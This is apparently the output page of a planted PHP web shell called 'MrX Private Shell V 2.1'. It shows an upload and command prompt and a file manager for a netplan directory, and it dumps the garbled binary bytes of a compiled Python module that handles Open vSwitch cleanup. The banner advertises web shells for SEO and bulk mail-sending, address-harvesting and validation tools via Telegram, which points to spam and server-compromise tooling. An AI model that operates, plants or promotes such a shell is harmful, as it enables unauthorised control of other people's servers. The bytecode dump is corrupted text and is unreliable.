__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g�!���SSKrSSKrSSKrSSKJrJr SrSrSSS.rSS	S
S.r	"SS
\
5r"SS\
5rSr
SrSrSrSrSrg)�N�)�systemctl_is_active�systemctl_is_installedz/usr/bin/ovs-vsctlzovsdb-server.service�false)�mcast_snooping_enable�rstp_enable)�del-sslzget-ssl)z
del-fail-modez
get-fail-mode)zdel-controllerzget-controller)zset-sslz
set-fail-modezset-controllerc��\rSrSrSrg)�OvsDbServerNotRunning�)�N��__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r
��)/usr/share/netplan/netplan_cli/cli/ovs.pyrr)���rrc��\rSrSrSrg)�OvsDbServerNotInstalled�-r
Nrr
rrrr-rrrc��[RU5nUcI[SXX#/n[R"SSRU5-5 [R"U5 gU(aVXC:waP[SXU<SU<3/n[R"SSRU5-5 [R"U5 ggg)z2Cleanup values from a column (i.e. "column=value")N�remove�Running: %s� �set�=)�DEFAULTS�get�OPENVSWITCH_OVS_VSCTL�logging�debug�join�
subprocess�
check_call)�type�iface�column�value�default�cmds      r�_del_colr.1s����l�l�6�"�G���$�h��V�K���
�
�m�c�h�h�s�m�3�4����c�"�	�W�%�$�e�T�V�W�:U�V���
�
�m�c�h�h�s�m�3�4����c�"�	&�rc	��[SXX#<SU<S3/n[R"SSRU5-5 [R
"U5 g)z:Cleanup values from a dictionary (i.e. "column:key=value")rz="�"rrN)r"r#r$r%r&r')r(r)r*�keyr+r-s      r�	_del_dictr2@sB��!�(�D��PS�UZ�A[�
\�C��M�M�-�#�(�(�3�-�/�0����#�rc�^�[RUS5upEUS:XaSnU(a�[U/n[U/nU(a"URU5 URU5 [R
"USS9m[
U4SjURS555(a[R"U5 gg[SU5e)	z*Cleanup commands from the global namespace)NNr	NT��textc3�,># �UH	oT;v� M g7f)Nr
)�.0�item�outs  �r�	<genexpr>�_del_global.<locals>.<genexpr>bs����8�'7�t�s�{�'7�s��,zReset command unknown for:)
�GLOBALSr!r"�appendr&�check_output�all�splitr'�	Exception)	r(r)r1r+�del_cmd�get_cmd�args_get�args_delr9s	        @r�_del_globalrGHs�����{�{�3��5��G��)�����)�7�3��)�7�3����O�O�E�"��O�O�E�"��%�%�h�T�:���8�u�{�{�3�'7�8�8�8��!�!�(�+�9��4�c�:�:rc�$�URSS5nUSnUS:Xa [U5S:�a[XUSU5 O4[U5S:�a[XUSUSU5 O[	XUSU5 [
R"[SXSU/5 g)zDCheck if this setting is in a dict or a colum and delete accordingly�/�r�globalr�external-idsN)rA�lenrGr2r.r&r'r")r(r)�settingr+rA�cols      r�
clear_settingrPhs����M�M�#�q�!�E�
��(�C�
�h��3�u�:��>��D��q��5�1�	�U��a���$�u�Q�x��q��5�9���e�A�h��.����0�(�D��Y`�a�brc��[U[5(deURUS5nU=(a URS:H$)N�OpenVSwitch)�
isinstance�dictr!�backend)r)�np_interface_dict�np_defs   r�is_ovs_interfacerXvs<���'��.�.�.�.�
�
"�
"�5�$�
/�F��5�f�n�n�
�5�5rc
��[[5(d[S[-5e[[5(d[	SR[55eUR
5 [5nURR5H0n[X@R5(dMURU5 M2 [RR[5(Ga�SH�n[ R""[SSSSSS	S
US/	SS
9nUR%5H�nSU;dMUR'S5SnX�;aM&USS:XaK[ R("[SU/5R*S:�a [ R,"[SSU/5 Mz[ R,"[SUSU/5 M� M� SH�nSn	US:XaSn	OUS:XaSn	[ R""[SU	-SSSSS	S
U/	SS
9nUR%5H�nSU;dMSnUn
US:waUR'SS5up�U
R/S5R'S5HCnUR1S5(dMS U;dM#UR'S S5up�[3XXX�5 ME M� M� g"U(dU(a[4R6"S!5 g"g")#a9
Query OpenVSwitch state through 'ovs-vsctl' and filter for netplan=true
tagged ports/bonds and bridges. Delete interfaces which are not defined
in the current configuration.
Also filter for individual settings tagged netplan/<column>[/<key]=value
in external-ids and clear them if they have been set by netplan.
z+Cannot apply OVS cleanup: %s is 'not-found'z{} is not running))�Portzdel-port)�Bridge�del-br)�	Interfacer\z--columns=name,external-idsz-f�csvz-d�barez
--no-headings�listrTr4znetplan=truer<r]z	br-existsz--if-existszdel-bond-ifacer)rZr[r]�Open_vSwitch�
Controllerzname,external-idsrarLrbz_uuid,external-idsz--columns=%sznetplan/�.r0rrzAovs-vsctl is missing, cannot tear down old OpenVSwitch interfacesN)r�OPENVSWITCH_OVSDB_SERVER_UNITrrr�format�parser�netdefs�keysrX�add�os�path�isfiler"r&r?�
splitlinesrA�run�
returncoder'�strip�
startswithrPr#�warning)�config_manager�ovs_old�ovs_current�
ovs_ifaces�i�tr9�liner)�cols�extids�entryrN�vals              r�apply_ovs_cleanupr~|s���"�"?�@�@�%�&S�&C�'D�E�	E��<�=�=�#�$7�$>�$>�?\�$]�^�^�������J�
�
#�
#�
(�
(�
*���Q� 6� 6�7�7��N�N�1��+�
�w�w�~�~�+�,�,�V�A��)�)�+@�B_�+/���f�o�W]�_`�ab�_c�+e�/3�5�C����(��!�T�)� �J�J�s�O�A�.�E��*� ���t�{�*�z�~�~�?T�Va�ch�>i�/j�/u�/u�xy�/y�"�-�-�/D�m�Ue�gl�.m�n�"�-�-�/D�m�UV�WX�UY�[`�.a�b�)�	W� O�A�&�D��N�"�%���l�"�+���)�)�+@�.�SW�BW�+/���f�o�W]�_`�+b�/3�5�C����(����%��E�!�F��N�*�(,�
�
�3��(:�
��"(���c�!2�!8�!8��!=�� �+�+�J�7�7�C�5�L�+0�;�;�s�A�+>�L�G�)�!�G�A�">�)�O�0
�K����[�\� r)r#rjr&�utilsrrr"rdr r=rBrrr.r2rGrPrXr~r
rr�<module>r�sz��$�	��>�,�� 6��
%����&�7�:�	��	�I�	�	�i�	�#��;�@c�6�B]r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 143 B 0644
core.cpython-313.pyc File 2.77 KB 0644
ovs.cpython-313.pyc File 7.62 KB 0644
sriov.cpython-313.pyc File 22.89 KB 0644
state.cpython-313.pyc File 35.3 KB 0644
state_diff.cpython-313.pyc File 38.25 KB 0644
utils.cpython-313.pyc File 17.91 KB 0644
Filemanager